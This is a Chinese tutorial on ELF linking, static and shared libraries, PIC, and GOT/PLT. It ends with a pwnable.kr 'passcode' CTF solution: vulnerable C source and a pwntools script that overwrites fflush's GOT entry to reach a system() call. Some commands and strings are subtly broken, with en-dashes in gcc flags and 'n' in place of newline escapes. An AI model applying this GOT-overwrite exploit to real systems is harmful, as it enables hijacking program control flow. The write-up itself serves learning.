深入理解GOT表覆写技术

//hello.c
#include <stdio.h>
int main(){
    printf("Hello World!n");
    return 0;
}
//执行指令:$gcc hello.c -o hello

$gcc –E hello.c –o hello.i

$gcc –S hello.i –o hello.s //或者$gcc –S hello.c –o hello.s

$gcc –c hello.s –o hello.o  //或者$gcc –c hello.c –o hello.o

链接过程指令较复杂，此处不详细说明，具体可以参考《程序员的自我修养》第二章

1) Linux下的.o（Windows下的.obj）;
2) 包含代码和数据，可被用来链接成可执行文件或共享目标文件，静态链接库也可以归为这一类;
3) 每个.o 文件由对应的.c文件生成;
4) 每个.o文件代码和数据地址都从0开始;

1) 包含的代码和数据可以被直接复制到内存并被执行
2) 代码和数据地址为虚拟地址空间中的地址

1) 链接器可使用.so文件跟其他.o文件和.so文件链接以生成新的.o文件
2) 动态链接器将几个.so文件与可执行文件结合，作为进程映像的一部分来运行
3) 特殊的可重定位目标文件，能在装入或运行时被装入到内存并自动被链接，称为共享库文件
4) Windows 中称其为 Dynamic Link Libraries (DLLs)

1) 可被链接（合并）生成可执行文件或共享目标文件
2) 包含代码、数据（已初始化.data和未初始化.bss）
3) 包含重定位信息（指出哪些符号引用处需要重定位）
4) 文件扩展名为.o（相当于Windows中的 .obj文件）

1) 定义的所有变量和函数已有确定地址（虚拟地址空间中的地址）
2) 符号引用处已被重定位，以指向所引用的定义符号
3) 没有文件扩展名或默认为a.out（相当于Windows中的 .exe文件）
4) 可被CPU直接执行，指令地址和指令给出的操作数地址都是虚拟地址

C语言规定: 未初始化的全局变量和局部静态变量的默认初始值为0
将未初始化变量（.bss节）与已初始化变量（.data节）分开的好处
    1) .data节中存放具体的初始值，需要占磁盘空间
    2) .bss节中无需存放初始值,只要说明.bss中的每个变量将来在执行时占用几个字节即可,因此,.bss节实际上不占用磁盘空间,提高了磁盘空间利用率
所有未初始化的全局变量和局部静态变量都被汇总到.bss节中，通过专门的节头表(Section,header,table)来说明应该为.bss节预留多大的空间

1) 确定程序中有定义和引用的符号 (包括变量和函数等)
2) 将定义的符号存放在一个符号表（ symbol table）中.
        符号表是一个结构数组
        每个表项包含符号名、长度和位置等信息
3) 将每个符号的引用都与一个确定的符号定义建立关联

1) 合并相同的节：将集合E中所有目标模块中相同的节分别合并为一个新节;
2) 对定义符号进行重定位：确定新节中所有定义符号在虚拟地址空间中的绝对地址，完成这一步后，每条指令和每个全局或局部变量都可确定地址;
3) 对引用符号进行重定位：将可执行文件中符号引用处的地址修改为重定位后的地址信息.需要用到在.rel_data和.rel_text节中保存的重定位信息;

//main.c
int buf[2] = {1, 2};
void swap();
int main()
{
    swap();
    return 0;
}
//swap.c
extern int buf[];
int *bufp0 = &buf[0];
static int *bufp1;
void swap()
{
    int temp;
    bufp1 = &buf[1];
    temp = *bufp0;
    *bufp0 = *bufp1;
    *bufp1 = temp;
}

(1) Global symbols(模块内部定义的全局符号)
	由模块m定义并能被其他模块引用的符号。例如，非static C函数和非static的C全局变量(指不带static的全局变量)如，main.c 中的全局变量名buf
(2)External symbols(外部定义的全局符号)
    由其他模块定义并被模块m引用的全局符号.如，main.c 中的函数名swap
(3)Local symbols (本模块的局部符号)
    仅由模块m定义和引用的本地符号。例如，在模块m中定义的带static的C函数和全局变量.如，swap.c 中的static变量名bufp1
注:局部符号不是指程序中的局部变量(分配在栈中的临时性变量)

.symtab 节记录符号表信息，是一个结构数组，函数名在text节中，变量名在data节或bss节中

1) 将所有相关的目标模块(.o)打包为一个单独的库文件(.a)，称为静态库文件 ，也称存档文件 (archive)
2) 使用静态库，可增强链接器功能，使其能通过查找一个或多个库文件中定义的符号来解析符号
3) 在构建可执行文件时，只需指定库文件名，链接器会自动到库中寻找那些应用程序用到的目标模块，并且只把用到的模块从库中拷贝出来
4) 在gcc命令行中无需明显指定C标准库libc.a(默认库)

//program1.c
#include <stdio.h>
void Function(){
    printf("This is the first test program!n");
}
//program2.c
#include <stdio.h>
void Function2(){
    printf("This is the second test program!n");
}
//main.c
void Function( );
int main()
{
    Function();
    return 0;
}
$ gcc -m32 –c program1.c program2.c
$ ar rcs -m32 mylib.a program1.o program2.o    //将program1.o和program2.o打包生成mylib.a
$ gcc -m32 –c main.c
$ gcc -m32 –static –o program main.o ./mylib.a
$ ./program 
This is the first test program!

$ gcc -m32–static –o myproc ./mylib.a main.o

1) 加载器（loader）根据可执行文件的程序（段）头表中的信息，将可执行文件的代码和数据从磁盘“拷贝”到存储器中
2) 加载后，将PC（EIP）设定指向Entry point ，最终执行main函数，以启动程序执行
3) execve()函数的功能是在当前进程上下文中加载并运行一个新程序

int execve(char *filename, char *argv[], *envp[]);

int main(int argc, char **argv, char **envp); //或者
int main(int argc, char *argv[], char *envp[]);

Step1：在shell命令行提示符后输入命令：$./hello;
Step2：shell命令行解释器构造argv和envp;
Step3：调用fork()函数，创建一个子进程，与父进程shell完全相同(只读/共享)，包括只读代码段、可读写数据段、堆以及用户栈等;
Step4：调用execve()函数,在当前进程(新创建的子进程)的上下文中加载并运行hello程序。将hello中的.text节、.data节、.bss节等内容加载到当前进程的虚拟地址空间(仅修改当前进程上下文中关于存储映像的一些数据结构，不从磁盘拷贝代码、数据等内容);
Step5：调用hello程序的main()函数，hello程序开始在一个进程的上下文中运行

1) 库函数（如printf）被包含在每个运行进程的代码段中，对于并发运行上百个进程的系统，造成极大的主存资源浪费
2) 库函数（如printf）被合并在可执行目标中，磁盘上存放着数千个可执行文件，造成磁盘空间的极大浪费
3) 程序员需关注是否有函数库的新版本出现，并须定期下载、重新编译和链接，更新困难、使用不便

1) 是一个目标文件，包含有代码和数据
2) 从程序中分离出来，磁盘和内存中都只有一个备份
3) 可以动态地在装入时或运行时被加载并链接
4) Window称其为动态链接库（Dynamic Link Libraries，.dll文件）
5) Linux称其为动态共享对象（ Dynamic Shared Objects, .so文件）

//program3.c
#include <stdio.h>
void Function3(){
    printf("This is the third test program!n");
}
//program4.c
#include <stdio.h>
void Function4(){
    printf("This is the fourth test program!n");
}
//main.c
void Function3();
int main(){
    Function3();
    return 0;
}

$ gcc -m32–c program3.c program4.c
$ gcc -m32 -shared -fPIC -o mylib.so program3.o program4.o
$ gcc -m32 -c main.c
$ gcc -m32 -o program main.o ./mylib.so
$ ./program 
This is the third test program!

GCC选项-fPIC指示生成PIC代码

共享库代码的位置可以是不确定的
即使共享库代码的长度发生变化，也不影响调用它的程序

(1) 模块内的数据访问。如模块内的全局变量和静态变量
(2) 模块内的过程调用、跳转。采用PC相对偏移寻址
(3) 模块间的数据访问。如外部变量的访问
(4) 模块间的过程调用、跳转

源代码:
static int a;
static int b;
extern void ext();
void bar()
{
    a=1;
    b=2;
}
void foo()
{
    bar();
    ext();
}

8048364: e8 db ff ff ff call 8048344 <bar>

bar@plt:
jmp *(bar@GOT)
push n
push moduleID
jump _dl_runtime_resolve

1) .got 用来保存全局变量引用的地址；
2) .got.plt 用来保存函数引用的地址，即对于外部函数的引用全部被分离出来放到了“.got.plt”中

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

//源代码passcode.c
#include <stdio.h>
#include <stdlib.h>
void login(){
    int passcode1;
    int passcode2;
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);
    printf("checking...n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!n");
        exit(0);
        }
}
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!n", name);
}
int main(){
    printf("Toddler's Secure Login System 1.0 beta.n");
    welcome();
    login();
    // something after login...
    printf("Now I can safely trust you that you have credential :)n");
    return 0;    
}

//exp.py
#!/usr/bin/python 
from pwn import *
p= process('./passcode')
fflush_got = 0x0804a004
system_addr = 0x80485e3
payload = "A" * 96 + p32(fflush_got) + str(system_addr)
p.send(payload)
p.interactive()